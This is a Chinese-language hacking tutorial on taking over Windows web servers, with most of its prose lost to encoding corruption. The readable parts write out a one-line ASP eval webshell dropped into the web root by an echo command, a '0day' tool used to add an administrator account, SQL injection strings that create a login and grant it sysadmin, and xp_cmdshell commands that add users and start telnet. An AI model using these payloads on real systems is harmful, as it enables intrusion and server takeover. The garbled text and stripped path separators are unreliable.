???????????????????

????????·????
????????????????????????????????????????????????·??????????????????????????????????????????????ú?????????????????????????з????admin???????????Σ??????????????????????????????????濴???????????????????????????????????????????Ч???????????????????????·??Ч???????????????webcruiser ???????????????￡???????????cmd?????????????г????????·??????????ó??????????????????β?????????????cmd?????????????asp??????????????????web????·????????
???????????￡?web????·??????????????C:inetpubwwwroot ;D:inetpubwwwroot  ;
????????E:inetpubwwwroot ?? ????·???????????????е????????C:inetpubscripts ??D:inetpubscripts ; E:inetpubscripts
????????????????cmd?????￡??????????????
????echo ^<^%execute^(request^("eval"^)^)^%^>  c:inetpubwwwrootcms est123456.asp
????????????￡??????????仰???asp????????????ò???????ok??webshell?????
???????webshell ??????????????webshell ????????????????????????webshell???????????????????????????????????????з????????е???????????????????￡????????C: ecycle???????????????????????е??????????????
?????????????·?????????????????????????????????????????????????У??????????????????????磬???????????????????????????????????????????????????????????????
???????????????Щ0day????????????????????????????????????0day?????????????????????????????“????????”?????????????Churraskito.exe?????0day??????????????????????μ????????к??????????Churraskito “C:windowssystem32cmd.exe ” “net user 111 111/add”???????????????????????????????????飬?????Churraskito “C:windowssystem32cmd.exe ” “net localgroup administrators  111 /add” ??????ok??????????????????????????????????????
?????????????webcruiser ?е?cmd??????????????????????????????????????в?????????????????????????????
?????·????
?????????????У?δ????xp_cmdshell ????????????????sa??????????????磬??????????н????????????????????????sysadmin?????????ò????????????????????????xp_cmdshell ??洢?????
???????巽?????￡?
?????????????????????
?????id=1234;exec master.dbo.sp_addlogin user;
??????????????????????????????????ν???????????????????????????
?????id=1234;exec master.dbo.password null ??password ??user;
?????????null???????password ???????
????????????????????
?????id=1234;exec master.dbo.sp_addsrvrolemember user??sysadmin;
??????????????????????????????????????????????xp_cmdshell??????????????????????????????????????磺
????Xp_cmdshell ‘net user’
????Xp_cmdshell ‘net user test123 test123 /add’
????Xp_cmdshell ‘net localgroup administrators test123/add ’
????Xp_cmdshell ‘net user test123 /del’
???????
????????telnet????
????Xp_cmdshell ‘net start tlntsvr’
???????
??????????????????webshell ??shell ????????￡???????xp_cmdshell???????????????????? ??Щ????????????cmd???????????????????????????? ????????????й?????????÷???????????Щ????????0day???????????????к?????????????????????μ?????￡??????????????棬????и??????·?????????????飬??????????????????????